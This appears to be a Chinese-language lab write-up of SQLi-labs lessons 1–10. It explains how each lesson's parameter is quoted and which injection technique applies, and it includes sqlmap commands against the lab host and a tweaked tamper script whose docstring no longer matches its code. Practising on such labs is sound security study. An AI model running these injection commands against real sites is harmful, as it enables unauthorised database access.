sqlilab less1-less10
less-1
参数被单引号包裹,加单引号,闭合后绕过
less-2
参数没有被包裹,直接带入查询,不需要闭合
less-3
参数被
('$id')
包裹,需要将他闭合
less-4
参数被小括号和双引号包裹,先对id进行处理,两边加上双引号,再带入查询,需要将其闭合
less-5
查询结果将mysql_error()返回前端,报错注入。需要先将前边进行闭合,再进行注入。
less-6
同样将报错信息返回前端,参数用双引号包裹
less-7
这里的报错内容被注释掉,如果正确的话返回的是一个,错误的话返回另一个,可以通过left,substr等函数来判断内容
less-8
正确的话有内容返回,错误的话无内容,参数无包裹。and函数必须两边均为True,返回正确
if为判断,ascii为转为acsii码,substr为选择内容
python .\sqlmap.py -u http://sqli.com/Less-8/?id=1 --dbs --technique B
less-9
返回的内容一样时,只能基于时间注入,通过sleep函数,在less-8上加上sleep
python .\sqlmap.py -u http://sqli.com/Less-9/?id=1 --dbs --technique T
less-10
双引号包裹的时间盲注,同less-9。
这部分使用sqlmap看了好多文章,都是说sqlmap可以直接跑,但是我没有成功。这里的闭合是双引号闭合,通过分析sqlmap的攻击语句是
通过修改sqlmap的一个单引号转utf-8的tamper脚本,将单引号替换为双引号,注入成功
1 #!/usr/bin/env python 2 3 """ 4 Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) 5 See the file 'LICENSE' for copying permission 6 """ 7 8 from lib.core.enums import PRIORITY 9 10 __priority__ = PRIORITY.LOWEST 11 12 13 def dependencies(): 14 pass 15 16 17 def tamper(payload, **kwargs): 18 """ 19 Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87) 20 21 References: 22 * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 23 * http://lukasz.pilorz.net/testy/unicode_conversion/ 24 * http://sla.ckers.org/forum/read.php?13,11562,11850 25 * http://lukasz.pilorz.net/testy/full_width_utf/index.phps 26 27 >>> tamper("1 AND '1'='1") 28 '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 29 """ 30 31 return payload.replace('\'', "%22") if payload else payload
再或者指定prefix参数